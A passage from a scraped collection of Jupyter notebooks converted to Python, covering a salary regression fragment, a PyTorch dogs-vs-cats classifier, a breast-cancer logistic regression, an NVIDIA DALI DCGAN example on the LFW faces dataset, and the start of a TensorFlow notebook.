20\",\"Unnamed: 21\",\"Unnamed: 22\",\"Unnamed: 23\",\"Predicted CTC\"], axis = 1)\ndf_test.rename(columns={\"previous CTC\": \"Previous CTC\", \"previous job changes\": \"Previous job changes\", \"Exp\": \"Exp (Months)\"}, inplace=True)\n\n\ndf.head()\n\ndf_test=pd.get_dummies(df_test,drop_first=True)\ndf_test\n\nX_test=df_test.drop('Actual CTC',axis=1)\ny_test=df_test['Actual CTC']\n\npred = model.predict(X_test)\n\n# # Evaluating the results of the analysis\n\nfrom sklearn.metrics import mean_squared_error\nprint(\"Mean squared error =\", mean_squared_error(y_test,pred))\n\npred_df=pd.concat([df_test, pd.DataFrame(pred, columns=[\"Predicted CTC\"])], axis=1)\npred_df=predicted_df[[\"College_Tier 2\", \"College_Tier 3\", \"City type_Non-Metro\", \"Graduation marks\", \"Previous job changes\", \"Role_Manager\", \"Exp (Months)\", \"Previous CTC\", \"Actual CTC\", \"Predicted CTC\"]]\n\n\npred_df\n\n\n","repo_name":"Adityakingrani/Linear-Regression-Machine-learning-Project","sub_path":"start tech internship (1).ipynb","file_name":"start tech internship (1).ipynb","file_ext":"py","file_size_in_byte":1652,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"15063475824","text":"# + [markdown] id=\"view-in-github\" colab_type=\"text\"\n# \"Open\n\n# + id=\"PRNHvHsOENl_\" colab_type=\"code\" colab={}\nimport math\nimport numpy as np\nimport h5py\nimport matplotlib.pyplot as plt\nimport scipy\nfrom PIL import Image\nfrom scipy import ndimage\nimport tensorflow as tf\nfrom tensorflow.python.framework import ops\n\n\n# %matplotlib inline\nnp.random.seed(1)\n\n# + id=\"EV85RVdxKMU4\" colab_type=\"code\" colab={}\n\n\n# + id=\"c6n3FiJpFLjk\" colab_type=\"code\" outputId=\"ef832d3a-456d-4886-c3f5-c20a9d70c152\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 35}\nfrom google.colab import drive\ndrive.mount('/content/drive')\n\n\n# + id=\"ftX7m0KBFWmh\" colab_type=\"code\" outputId=\"d6e6c17c-d746-45e7-b282-91012f7a7493\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 35}\n# cd drive/My Drive/dogs-vs-cats/\n\n# + id=\"8J6rwybIGntn\" colab_type=\"code\" colab={}\n# #! mkdir train\n# #! unzip train.zip -d train\n\n\n# + id=\"ij2bkuCfIbZ7\" colab_type=\"code\" colab={}\n# #! mkdir test\n# #! unzip test1.zip -d test\n\n# + id=\"G4TvYgrvIbY9\" colab_type=\"code\" colab={}\n# #!pip install helper\n\n# + id=\"8jx5SyedKPpl\" colab_type=\"code\" colab={}\nimport os\nfrom PIL import Image\nimport matplotlib.pyplot as plt\n\nimport torch\nimport torchvision\nfrom torch.utils.data import DataLoader, Dataset, random_split\nimport torchvision.transforms as transforms\n\n#For converting the dataset to torchvision dataset format\nclass loadDataset(Dataset):\n def __init__(self, file_path,train=True,transform=None):\n self.transform = transform\n self.file_path=file_path\n self.train=train\n self.file_names=[file for _,_,files in os.walk(self.file_path) for file in files]\n print(self.file_names)\n print(self.file_path)\n self.len = len(self.file_names)\n if self.train:\n self.classes_mapping=self.get_classes()\n def __len__(self):\n return len(self.file_names)\n \n def __getitem__(self, index):\n file_name=self.file_names[index]\n image_data=self.pil_loader(self.file_path+\"/\"+file_name)\n if self.transform:\n image_data = self.transform(image_data)\n if self.train:\n file_name_splitted=file_name.split(\".\")\n Y1 = self.classes_mapping[file_name_splitted[0]]\n return image_data, Y1\n else:\n return image_data, file_name\n \n def pil_loader(self,path):\n with open(path, 'rb') as f:\n img = Image.open(f)\n return img.convert('RGB')\n\n \n def get_classes(self):\n classes=[]\n for name in self.file_names:\n name_splitted=name.split(\".\")\n classes.extend([name_splitted[0]])\n classes=list(set(classes))\n classes_mapping={}\n for i,cl in enumerate(sorted(classes)):\n classes_mapping[cl]=i\n return classes_mapping\n\n# + id=\"ombryyrcNPTq\" colab_type=\"code\" colab={}\n#define the transformations\ntransform = transforms.Compose([\n transforms.Resize(256),\n transforms.RandomCrop(224),\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor()\n ])\n\n\n# + id=\"B4cYAZ30Qq1N\" colab_type=\"code\" colab={}\nT = transforms.Compose([\n transforms.ToTensor()\n ])\n\n\n# + id=\"s6Wv-XRQKPpH\" colab_type=\"code\" outputId=\"18c0e91f-60b0-4140-d3cc-e10b8f924439\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 72}\nfull_data = loadDataset(\"train/train/\",train=True,transform=transform)\n\ntrain_size = int(0.9 * len(full_data))\ntest_size = len(full_data) - train_size\n\ntrain_data, validation_data = random_split(full_data, [train_size, test_size])\n\ntrain_loader = torch.utils.data.DataLoader(train_data, batch_size=32 ,shuffle=True)\nvalidation_loader = torch.utils.data.DataLoader(validation_data, batch_size=32, shuffle=True)\n\n# + id=\"OinsHXDQNRTr\" colab_type=\"code\" outputId=\"434da816-2cb4-4db8-fb23-e5a56f5bdb52\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 72}\ntest_data = loadDataset(\"test/test1/\",train=False,transform=T)\ntest_loader = torch.utils.data.DataLoader(test_data, batch_size=1,shuffle=True)\n\n\n# + id=\"DY6xe7eKOcVS\" colab_type=\"code\" colab={}\nfull_data.pil_loader('train/train/cat.0.jpg')\n\n# + id=\"RsEq6KztSX9R\" colab_type=\"code\" outputId=\"e220e03d-6d82-4964-b8ce-90c73496e349\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 70}\n#create a iterator\n\ndataiter = iter(train_loader)\nimages, labels = dataiter.next()\n#shape of images bunch\nprint(images.shape)\n\n#shape of first image in a group of 4\nprint(images[1].shape)\n\n#class label for first image\nprint(labels[1])\n\n\n# + id=\"w1AVcjA2awzB\" colab_type=\"code\" colab={}\n#custom function to display images\n\ndef imshow(img, title):\n \n #convert image from tensor to numpy for visualization\n npimg = img.numpy()\n #define the size of a figure\n plt.figure(figsize = (10, 10))\n plt.axis(\"off\")\n \n #interchaging the image sizes - transposing\n plt.imshow(np.transpose(npimg, (1, 2, 0)))\n plt.title(title, fontsize=15)\n plt.show()\n\n\n# + id=\"fyHu_ySYa2Pw\" colab_type=\"code\" colab={}\n#function to get images and feed into our custom function 'imshow'\n\ndef show_batch_images(dataloader):\n \n #getting the images\n images, labels = next(iter(dataloader))\n #make a grid from those images\n img = torchvision.utils.make_grid(images)\n \n #call our custom function\n imshow(img, title = labels)\n #imshow(img, title = [str(x.item()) for x in labels]) \n\n\n# + id=\"IVrpq_GAa2Xq\" colab_type=\"code\" outputId=\"e127f98d-5869-4981-887f-77518f8431cf\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 1000}\n#visualize the training data\n\nfor i in range(4):\n show_batch_images(train_loader)\n\n# + id=\"vQS8jGyIEzg5\" colab_type=\"code\" colab={}\n\n\n# + id=\"On2xgS4aj_KB\" colab_type=\"code\" colab={}\n\n\n# + id=\"ehUyYJi_d5hA\" colab_type=\"code\" colab={}\nfrom torch.optim.lr_scheduler import StepLR\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n\n\n# + id=\"0v9LFte2cH9q\" colab_type=\"code\" colab={}\ndef eval(dataloader, net,mode):\n acc_count = 0\n\n #function to calculate the accuracy\n total, correct = 0, 0\n final_acc = 0\n if mode != 'train' :\n net.eval()\n for data in dataloader:\n inputs, labels = data\n inputs, labels = inputs.to(device), labels.to(device)\n out = net(inputs)\n \n out = torch.exp(out)\n \n pred = torch.argmax(out, dim=1)\n correct = pred.eq(labels)\n acc_count += correct.sum().item()\n\n \n\n acc = acc_count / (len(dataloader) * 32) * 100\n print('----------Acc: {}%----------'.format(acc))\n return acc\n\n# + id=\"VQx_YwJScmxS\" colab_type=\"code\" colab={}\nfrom torch.autograd import Variable\nimport torch.nn.functional as F\n\nclass SimpleCNN(torch.nn.Module):\n \n #Our batch shape for input x is (3, 32, 32)\n \n def __init__(self):\n \n super(SimpleCNN, self).__init__()\n self.layer1 = nn.Sequential(\n nn.Conv2d(3, 32, kernel_size=5, stride=1, padding=0), #(4,32,32,3) --> (4,28,28,32)\n nn.ReLU(),\n nn.MaxPool2d(kernel_size=2, stride=2)) #(4,28,28,32) --> (4,14,14,32)\n self.layer2 = nn.Sequential(\n nn.Conv2d(32, 64, kernel_size=5, stride=1, padding=0), #(4,14,14,32) --> (4,10,10,64)\n nn.ReLU(),\n nn.MaxPool2d(kernel_size=2, stride=2)) #(4,10,10,64) --> (4,5,5,64)\n \n self.fc1 = nn.Linear(5* 5* 64, 1000)\n self.fc2 = nn.Linear(1000, 2)\n def forward(self, x):\n out = self.layer1(x)\n out = self.layer2(out)\n \n out = out.view(-1, 5* 5* 64)\n #print(out.shape)\n\n out = F.relu(self.fc1(out))\n y= self.fc2(out)\n return (y)\n\n\n# + [markdown] id=\"toqE_hOCEgUd\" colab_type=\"text\"\n# LeNet\n\n# + id=\"eBgPLq7NTYBX\" colab_type=\"code\" colab={}\nimport torch\nfrom torch import nn\nimport torch.nn.functional as F\n\nclass LeNet(nn.Module):\n def __init__(self):\n super().__init__()\n self.convs = nn.Sequential(\n nn.Conv2d(3, 8, 5, padding=2),\n nn.ReLU(),\n nn.MaxPool2d(kernel_size=(2,2)),\n nn.Conv2d(8, 12, 5, padding=2),\n nn.ReLU(),\n nn.MaxPool2d(kernel_size=(2,2)),\n )\n self.fc = nn.Sequential(\n nn.Linear(37632, 10000),\n nn.Linear(10000, 1000),\n nn.Linear(1000, 240),\n nn.Linear(240, 84),\n nn.Linear(84, 2),\n )\n def forward(self, x):\n x = self.convs(x)\n x = x.view(x.shape[0], -1)\n y = self.fc(x)\n return y\n\n\n# + id=\"6DkwEUgkVYGe\" colab_type=\"code\" colab={}\n\ndef set_param_requires_grad(model):\n for param in model.parameters():\n param.requires_grad = False\n\n\n# + [markdown] id=\"iL4vkC9FUh6Z\" colab_type=\"text\"\n# AlexNet\n\n# + id=\"0d0B_AiwUd3r\" colab_type=\"code\" colab={}\nfrom torch import nn\nfrom torchvision import models\n\nimport sys\n\n\n\ndef AlexNet():\n alexnet = models.alexnet(pretrained=True)\n set_param_requires_grad(alexnet)\n alexnet.classifier[6] = nn.Linear(4096, 2)\n\n return alexnet\n\n\n# + [markdown] id=\"EDyXA-ZeUmid\" colab_type=\"text\"\n# ResNet\n\n# + id=\"coMDNZ7LUl8r\" colab_type=\"code\" colab={}\nfrom torch import nn\nfrom torchvision import models\n\nimport sys\n\n\ndef ResNet():\n resnet = models.resnet18(pretrained=True)\n set_param_requires_grad(resnet)\n in_features = resnet.fc.in_features\n resnet.fc = nn.Linear(in_features, 2)\n\n return resnet\n\n\n# + id=\"hLPRUyPrPjpY\" colab_type=\"code\" colab={}\nfrom torchvision import models\nimport copy\nimport torch\nimport torch.nn as nn\n\nloss_arr = []\nloss_epoch_arr = []\nmax_epochs =120\nmin_loss=1000\nacc=0\n\nimport torch.optim as optim\nnet = torch.load('net_max.pt')\nnet=ResNet().to(device)\n\n#opt = optim.Adam(net.parameters(), lr=1e-5, weight_decay=1e-5)\n#loss list\nloss_epoch_arr = []\ncriterion = torch.nn.CrossEntropyLoss().to(device)\nopt = torch.optim.Adam(net.parameters())\n\nmax_acc = 0\n#iterate or epochs\nfor epoch in range(max_epochs):\n \n \n #iterate through all the batches to complete one pass\n for i, data in enumerate(train_loader, 0):\n inputs, labels = data\n inputs, labels = inputs.to(device), labels.to(device)\n opt.zero_grad()\n \n #run the model\n outputs = net(inputs)\n loss = criterion(outputs, labels)\n loss.backward()\n opt.step()\n\n del inputs, labels, outputs\n torch.cuda.empty_cache()\n \n if (i + 1) % 50 == 0:\n print('epoch {} ({} / {}) loss: {}'.format(epoch, i, len(train_loader),loss.item()))\n acc_train = eval(train_loader,net, \"train\")\n acc_val = eval(validation_loader,net,\"\")\n print(\"epoch: %d/%d,val_acc:%0.2f,train_acc: %0.2f\" %(epoch, max_epochs,acc_val , acc_train))\n if acc_val > max_acc:\n max_acc = acc_val\n torch.save(net, 'net_max.pt')\n loss_epoch_arr.append(loss.item())\n\n \n\n# + id=\"D9B36neRRRLW\" colab_type=\"code\" colab={}\nnet = torch.load('net_max.pt')\n\n# + id=\"Ymf7LN7uj7T-\" colab_type=\"code\" colab={}\nimport pandas as pd\ndef make_predictions(dataloader):\n \n pred = dict()\n net.eval()\n for data in test_loader:\n images, labels = data\n images = images.cuda()\n #print(labels)\n net.cuda()\n out = net(images)\n for i in range(len(images)):\n out = torch.exp(out)\n pred = torch.argmax(out, dim=1)\n\n \n df = pd.DataFrame(list(pred.items()), columns=['ImageId', 'Class'])\n return(df)\n\n# + id=\"kz1jderZj9Kd\" colab_type=\"code\" colab={}\ndf = make_predictions(test_loader)\n\n\n# + id=\"uOH1-PT-Tv2W\" colab_type=\"code\" colab={}\ndef img_loader(path):\n with open(path, 'rb') as f:\n img = Image.open(f)\n return img.convert('RGB')\n\n\n# + id=\"b_A3FpyidW-w\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 517} outputId=\"5828f347-7201-4682-d157-53075509c64f\"\nimg_loader('test/test1/11515.jpg')\n\n# + id=\"qo8-BnDjbRIJ\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 52} outputId=\"7d7bcabf-8b35-4f2c-ce14-0e96ba693209\"\n#create a iterator\nimg=img_loader('test/test1/11515.jpg')\ntrans = transforms.ToTensor()(img).unsqueeze_(0)\n#shape of first image in a group of 4\nprint(trans.shape)\nop = net(trans.to(device))\nop= torch.exp(op)\npred = torch.argmax(op, dim=1)\n\nif pred.item() == 1 :\n print(\"doggo\")\nelse:\n print(\"meow\")\n","repo_name":"Sukhada11/Deep_Learning","sub_path":"dog_cat_classifier.ipynb","file_name":"dog_cat_classifier.ipynb","file_ext":"py","file_size_in_byte":12666,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"16448739836","text":"# # Logistic Regression\n# ##### Gabriel Briones Sayeg A01222517\n\n# #### Import libraries to be used\n\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.metrics import confusion_matrix\nimport scipy.stats as stat\nfrom pandas import read_csv\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport matplotlib.patches as mpatches\nimport warnings\nwarnings.filterwarnings('ignore')\n\n# #### Load and clean data.\n# The dataset contains 16 missing data in \"Bare Nuclei\" field, they will be replaced with the mean integer: \"3\".\n# Also, the \"Sample code\" field is being removed as it is not part of the analytics.\n# The \"Class\" field showing data as 2 or 4 will be replaced with 0 and I respectively. Then this problem can be considered as a binary classification and we can consider one of the algorithms for such case.\n\nbcw_data = read_csv('breast-cancer-wisconsin.data', header=None)\nbcw_data.columns = ['Sample code', 'Clump Thickness', 'Uniformity of Cell Size', 'Uniformity of Cell Shape',\n 'Marginal Adhesion', 'Single Epithelial Cell Size', 'Bare Nuclei', 'Bland Chromatin',\n 'Normal Nucleoli', 'Mitoses','Class']\nbcw_data = bcw_data.replace('?', np.NaN)\nbcw_data['Bare Nuclei'].fillna((pd.to_numeric(bcw_data['Bare Nuclei']).median()), inplace=True)\nbcw_data['Bare Nuclei'] = bcw_data['Bare Nuclei'].astype('int64')\nbcw_data['Class'] = bcw_data['Class'].replace(2, 0).replace(4, 1)\nx = bcw_data.iloc[:,1:10]\ny = bcw_data.iloc[:,10]\n\n# #### Analyze data\n#\n# One of the used methods is the Pearson correlation which indicates how fields correlate with each other, with 1.0 meaning values are exactly the same.\n# It is displayed the correlation for the class field and we can see that the \"Mitoses\" field is not very descriptive. On the other hand the fields \"Uniformity of Cell Size\" and \"Uniformity of Cell Shape\" show the best correlation with the class.\n\ndata = bcw_data.iloc[:,1:]\ndata.corr(method=\"pearson\").Class\n\n# Next it is displayed the box diagrams for each field. We can see the data in the \"Mitoses\" field is very disperse and wont be significant to be included in our training model.\n\nx.boxplot(figsize=(20,3))\nplt.show()\n\n# Then, it is shown the relation between the attributes and the Class to display the logistic distribution.\n\ndata = bcw_data.copy()\nfor field in list(data.iloc[:, 1:10]):\n data['Count'] = 0\n for i, _ in data.iterrows():\n data.loc[i, 'Count'] += len(data[(data[field] == data.loc[i, field]) & (data['Class'] == data.loc[i, 'Class'])])\n plt.scatter(data[field], data['Class'], c=data[\"Class\"], s=data['Count'])\n plt.xlabel(field)\n plt.ylabel('Class')\n plt.show()\n\n\n# #### Attribute analisys\n#\n# After analyzing the data, it is concluded that the variables 1 to 9 are going to be used as input variables considering them as numerical values requireing normalization. The field \"Class\" is the output variable considered as a binary value turned on when is malignant.\n\n# #### Data splitting\n#\n# The data is divided into training data and testing data in a proportion of 80% and 20% of the whole dataset respectively. Nevertheless, there are significant more \"benign\" records than \"malignant\" which requires stratified selection of test data.\n\n# +\n# Split by class\nb_data = bcw_data[bcw_data['Class'] == 0]\nm_data = bcw_data[bcw_data['Class'] == 1]\n\n# Split benign data into train and test\nb_split = int(len(b_data)*.8)\nb_data_train = b_data[:b_split]\nb_data_test = b_data[b_split:]\n\n# Split malignant into train and test\nm_split = int(len(m_data)*.8)\nm_data_train = m_data[:m_split]\nm_data_test = m_data[m_split:]\n\n# Join benign and malignant data into train and test\ndata_train = pd.concat((b_data_train, m_data_train))\ndata_test = pd.concat((b_data_test, m_data_test))\n\n# Split into X and y\nX_test = data_test.iloc[:, 1:9]\ny_test = data_test.iloc[:, 10]\nX_train = data_train.iloc[:, 1:9]\ny_train = data_train.iloc[:, 10]\n# -\n\n# #### Training the model\n#\n# To generate the model it is being used a Logistic regression algorithm which is used for binary classification problems. \n#\n# It is also being displayed the confusion matrix, the accuaracy of the model and the p-values.\n\n# +\nclassifier = LogisticRegression()\nclassifier.fit(X_train, y_train)\ny_pred = classifier.predict(X_test)\ny_proba = classifier.predict_proba(X_test)\ncm = confusion_matrix(y_test, y_pred)\nprint(\"Confusion Matrix:\\n\", cm)\nprint(\"Accuaracy:\", classifier.score(X_train, y_train))\n\ndef get_pvalues(classifier, X):\n X = X_train.copy()\n denom = (2.0*(1.0+np.cosh(classifier.decision_function(X))))\n denom = np.tile(denom,(X.shape[1],1)).T\n F_ij = np.dot((X/denom).T,X)\n Cramer_Rao = np.linalg.inv(F_ij)\n sigma_estimates = np.sqrt(np.diagonal(Cramer_Rao))\n z_scores = classifier.coef_[0]/sigma_estimates\n return [stat.norm.sf(abs(x))*2 for x in z_scores]\n \nprint(\"P-values: \\n\", get_pvalues(classifier, X_train))\n# -\n\n# #### Cross validation\n#\n# Reapeat the same training of the model with different splits of the data\n\nfor i in range(5):\n print(\"Cross Validation Segment {}\".format(i+1))\n \n # Split benign data\n b_start = int(len(b_data)*((i*2)/10))\n b_end = int(len(b_data)*(((i+1)*2)/10))\n b_data_test = b_data[b_start:b_end]\n b_data_train = pd.concat([b_data[:b_start],b_data[b_end:]])\n \n # Split malignant data\n m_start = int(len(m_data)*((i*2)/10))\n m_end = int(len(m_data)*(((i+1)*2)/10))\n m_data_test = m_data[m_start:m_end]\n m_data_train = pd.concat([m_data[:m_start], m_data[m_end:]])\n \n # Join benign and malignant data\n data_train = pd.concat((b_data_train, m_data_train))\n data_test = pd.concat((b_data_test, m_data_test))\n \n # Sepparate into X and y\n X_test = data_test.iloc[:, 1:9]\n y_test = data_test.iloc[:, 10]\n X_train = data_train.iloc[:, 1:9]\n y_train = data_train.iloc[:, 10]\n \n # Train model\n model = LogisticRegression()\n model.fit(X_train, y_train)\n y_pred = classifier.predict(X_test)\n cm = confusion_matrix(y_test, y_pred)\n \n print(\"Confusion Matrix:\\n\", cm)\n print(\"Accuaracy:\", model.score(X_train, y_train))\n print(\"P-values: \\n\", get_pvalues(model, X_train))\n print()\n\n# #### Conclusions\n#\n# The model appears to be very accurate, as the results thrown by the tests are very reliable.\n","repo_name":"gbriones1/machine_learning","sub_path":"linear_classification/Logistic Regression.ipynb","file_name":"Logistic Regression.ipynb","file_ext":"py","file_size_in_byte":6336,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"20241518784","text":"# # Gluon example with DALI\n#\n# ## Overview\n#\n# This is a modified [DCGAN example](https://gluon.mxnet.io/chapter14_generative-adversarial-networks/dcgan.html), which uses DALI for reading and augmenting images.\n#\n# ## Sample\n\n# +\nfrom __future__ import print_function\nimport os\nimport matplotlib as mpl\nimport tarfile\nimport matplotlib.image as mpimg\nfrom matplotlib import pyplot as plt\n\nimport mxnet as mx\nfrom mxnet import gluon\nfrom mxnet import ndarray as nd\nfrom mxnet.gluon import nn, utils\nfrom mxnet import autograd\nimport numpy as np\n\n# +\nepochs = 10 # Set low by default for tests, set higher when you actually run this code.\nbatch_size = 64\nlatent_z_size = 100\n\nuse_gpu = True\nctx = mx.gpu() if use_gpu else mx.cpu()\n\nlr = 0.0002\nbeta1 = 0.5\n# -\n\nlfw_url = 'http://vis-www.cs.umass.edu/lfw/lfw-deepfunneled.tgz'\ndata_path = 'lfw_dataset'\nif not os.path.exists(data_path):\n os.makedirs(data_path)\n data_file = utils.download(lfw_url)\n with tarfile.open(data_file) as tar:\n tar.extractall(path=data_path)\n\ntarget_wd = 64\ntarget_ht = 64\n\n# +\nfrom nvidia.dali.pipeline import Pipeline\nimport nvidia.dali.ops as ops\nimport nvidia.dali.types as types\nimport numpy as np\n\nclass HybridPipe(Pipeline):\n def __init__(self, batch_size, num_threads, device_id):\n super(HybridPipe, self).__init__(batch_size,\n num_threads,\n device_id,\n seed = 12)\n self.input = ops.FileReader(file_root=data_path + \"/lfw-deepfunneled/\", random_shuffle = True)\n self.decode = ops.nvJPEGDecoder(device = \"mixed\", output_type = types.RGB)\n self.resize = ops.Resize(device = \"gpu\",\n resize_x = target_wd, resize_y = target_ht,\n image_type = types.RGB,\n interp_type = types.INTERP_LINEAR)\n self.rotate = ops.Rotate(device = \"gpu\", interp_type = types.INTERP_LINEAR)\n self.cmnp = ops.CropMirrorNormalize(device = \"gpu\",\n output_dtype = types.FLOAT,\n crop = (target_wd, target_ht),\n image_type = types.RGB,\n mean = [127.5, 127.5, 127.5],\n std = [127.5, 127.5, 127.5])\n self.uniform = ops.Uniform(range = (-10., 10.))\n self.iter = 0\n\n def define_graph(self):\n inputs, labels = self.input(name = \"Reader\")\n images = self.decode(inputs)\n angle = self.uniform()\n images = self.resize(images)\n images = self.rotate(images, angle = angle)\n output = self.cmnp(images)\n return (output)\n\n def iter_setup(self):\n pass\n\n\n\n# -\n\npipe = HybridPipe(batch_size=batch_size, num_threads=4, device_id = 0)\npipe.build()\n\npipe_out = pipe.run()\n\npipe_out_cpu = pipe_out[0].asCPU()\nimg_chw = pipe_out_cpu.at(20)\n# %matplotlib inline\nplt.imshow((np.transpose(img_chw, (1,2,0))+1.0)/2.0)\n\nfrom nvidia.dali.plugin.mxnet import DALIGenericIterator\ndali_iter = DALIGenericIterator(pipe, [\"data\"], pipe.epoch_size(\"Reader\"))\n\n# +\n# build the generator\nnc = 3\nngf = 64\nnetG = nn.Sequential()\nwith netG.name_scope():\n # input is Z, going into a convolution\n netG.add(nn.Conv2DTranspose(ngf * 8, 4, 1, 0, use_bias=False))\n netG.add(nn.BatchNorm())\n netG.add(nn.Activation('relu'))\n # state size. (ngf*8) x 4 x 4\n netG.add(nn.Conv2DTranspose(ngf * 4, 4, 2, 1, use_bias=False))\n netG.add(nn.BatchNorm())\n netG.add(nn.Activation('relu'))\n # state size. (ngf*8) x 8 x 8\n netG.add(nn.Conv2DTranspose(ngf * 2, 4, 2, 1, use_bias=False))\n netG.add(nn.BatchNorm())\n netG.add(nn.Activation('relu'))\n # state size. (ngf*8) x 16 x 16\n netG.add(nn.Conv2DTranspose(ngf, 4, 2, 1, use_bias=False))\n netG.add(nn.BatchNorm())\n netG.add(nn.Activation('relu'))\n # state size. (ngf*8) x 32 x 32\n netG.add(nn.Conv2DTranspose(nc, 4, 2, 1, use_bias=False))\n netG.add(nn.Activation('tanh'))\n # state size. (nc) x 64 x 64\n\n# build the discriminator\nndf = 64\nnetD = nn.Sequential()\nwith netD.name_scope():\n # input is (nc) x 64 x 64\n netD.add(nn.Conv2D(ndf, 4, 2, 1, use_bias=False))\n netD.add(nn.LeakyReLU(0.2))\n # state size. (ndf) x 32 x 32\n netD.add(nn.Conv2D(ndf * 2, 4, 2, 1, use_bias=False))\n netD.add(nn.BatchNorm())\n netD.add(nn.LeakyReLU(0.2))\n # state size. (ndf) x 16 x 16\n netD.add(nn.Conv2D(ndf * 4, 4, 2, 1, use_bias=False))\n netD.add(nn.BatchNorm())\n netD.add(nn.LeakyReLU(0.2))\n # state size. (ndf) x 8 x 8\n netD.add(nn.Conv2D(ndf * 8, 4, 2, 1, use_bias=False))\n netD.add(nn.BatchNorm())\n netD.add(nn.LeakyReLU(0.2))\n # state size. (ndf) x 4 x 4\n netD.add(nn.Conv2D(1, 4, 1, 0, use_bias=False))\n\n# +\n# loss\nloss = gluon.loss.SigmoidBinaryCrossEntropyLoss()\n\n# initialize the generator and the discriminator\nnetG.initialize(mx.init.Normal(0.02), ctx=ctx)\nnetD.initialize(mx.init.Normal(0.02), ctx=ctx)\n\n# trainer for the generator and the discriminator\ntrainerG = gluon.Trainer(netG.collect_params(), 'adam', {'learning_rate': lr, 'beta1': beta1})\ntrainerD = gluon.Trainer(netD.collect_params(), 'adam', {'learning_rate': lr, 'beta1': beta1})\n\n# +\nfrom datetime import datetime\nimport time\nimport logging\n\nreal_label = nd.ones((batch_size,), ctx=ctx)\nfake_label = nd.zeros((batch_size,),ctx=ctx)\n\ndef facc(label, pred):\n pred = pred.ravel()\n label = label.ravel()\n return ((pred > 0.5) == label).mean()\nmetric = mx.metric.CustomMetric(facc)\n\nstamp = datetime.now().strftime('%Y_%m_%d-%H_%M')\nlogging.basicConfig(level=logging.DEBUG)\n\nfor epoch in range(epochs):\n tic = time.time()\n btic = time.time()\n iter = 0\n for batches in dali_iter: # Using DALI iterator\n ############################\n # (1) Update D network: maximize log(D(x)) + log(1 - D(G(z)))\n ###########################\n data = batches[0].data[0] # extracting the batch for device 0\n latent_z = mx.nd.random_normal(0, 1, shape=(batch_size, latent_z_size, 1, 1), ctx=ctx)\n\n with autograd.record():\n # train with real image\n output = netD(data).reshape((-1, 1))\n errD_real = loss(output, real_label)\n metric.update([real_label,], [output,])\n\n # train with fake image\n fake = netG(latent_z)\n output = netD(fake.detach()).reshape((-1, 1))\n errD_fake = loss(output, fake_label)\n errD = errD_real + errD_fake\n errD.backward()\n metric.update([fake_label,], [output,])\n\n trainerD.step(data.shape[0])\n\n ############################\n # (2) Update G network: maximize log(D(G(z)))\n ###########################\n with autograd.record():\n fake = netG(latent_z)\n output = netD(fake).reshape((-1, 1))\n errG = loss(output, real_label)\n errG.backward()\n\n trainerG.step(data.shape[0])\n\n # Print log infomation every ten batches\n if iter % 100 == 0:\n name, acc = metric.get()\n logging.info('speed: {} samples/s'.format(batch_size / (time.time() - btic)))\n logging.info('discriminator loss = %f, generator loss = %f, binary training acc = %f at iter %d epoch %d'\n %(nd.mean(errD).asscalar(),\n nd.mean(errG).asscalar(), acc, iter, epoch))\n iter = iter + 1\n btic = time.time()\n dali_iter.reset()\n\n name, acc = metric.get()\n metric.reset()\n\n\n# -\n\ndef visualize(img_arr):\n plt.imshow(((img_arr.asnumpy().transpose(1, 2, 0) + 1.0) * 127.5).astype(np.uint8))\n plt.axis('off')\n\n\nnum_image = 8\nfig = plt.figure(figsize = (16,8))\nfor i in range(num_image):\n latent_z = mx.nd.random_normal(0, 1, shape=(1, latent_z_size, 1, 1), ctx=ctx)\n img = netG(latent_z)\n plt.subplot(2,4,i+1)\n visualize(img[0])\nplt.show()\n\n\n","repo_name":"zhou745/DALI_FIX","sub_path":"docs/examples/mxnet/gluon.ipynb","file_name":"gluon.ipynb","file_ext":"py","file_size_in_byte":8059,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"29428040774","text":"# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 34} colab_type=\"code\" id=\"4IaeQR0N-UFk\" outputId=\"443cf160-6fc8-40e0-8cd6-350064e56000\"\nfrom google.colab import drive\ndrive.mount('/content/drive')\n\n# + colab={} colab_type=\"code\" id=\"ELi_B-kdOpYU\"\nimport tensorflow as tf\nimport array as arr\nimport numpy as np\nimport scipy.io as sio\nimport matplotlib.pyplot as plt\n# %matplotlib inline\n\n# + colab={} colab_type=\"code\" id=\"6epNVwfC_1a4\"\ndef y_data_mat(list_path, info):\n mat_file = sio.loadmat(list_path)\n y_name_array = mat_file[info][0][0][0]\n y_train = []\n category_dict = dict()\n with open(\"/content/drive/My Drive/Colab Notebooks/map.txt\", 'r') as infile:\n for line in infile:\n line = line.strip().split()\n category_dict[line[0]] = line[1] \n for i in range(len(y_name_array)):\n name = y_name_array[i][0][0].split(\"/\")[0].split(\"-\",1)[1]\n category_index = category_dict[name]\n y_train.append(int(category_index))\n y_train = np.array(y_train)\n return y_train\n\n# + colab={} colab_type=\"code\" id=\"WcFpPXtvAniZ\"\n# y_data_mat(\"/content/drive/My Drive/Colab Notebooks/train_data.mat\")\n\n\n# + colab={} colab_type=\"code\" id=\"zHo4CCtXA_nl\"\ndef x_data_mat(list_path,type):\n mat_file = sio.loadmat(list_path)\n a = sorted(mat_file.keys())\n array = mat_file[type]\n return array\n\n\n# + colab={} colab_type=\"code\" id=\"F-_yMEpXBBdk\"\n# x_data_mat(\"/content/drive/My Drive/Colab Notebooks/train_data.mat\", 'train_data')\n\n# + colab={} colab_type=\"code\" id=\"RKZF9EmROuZu\"\nx_train = 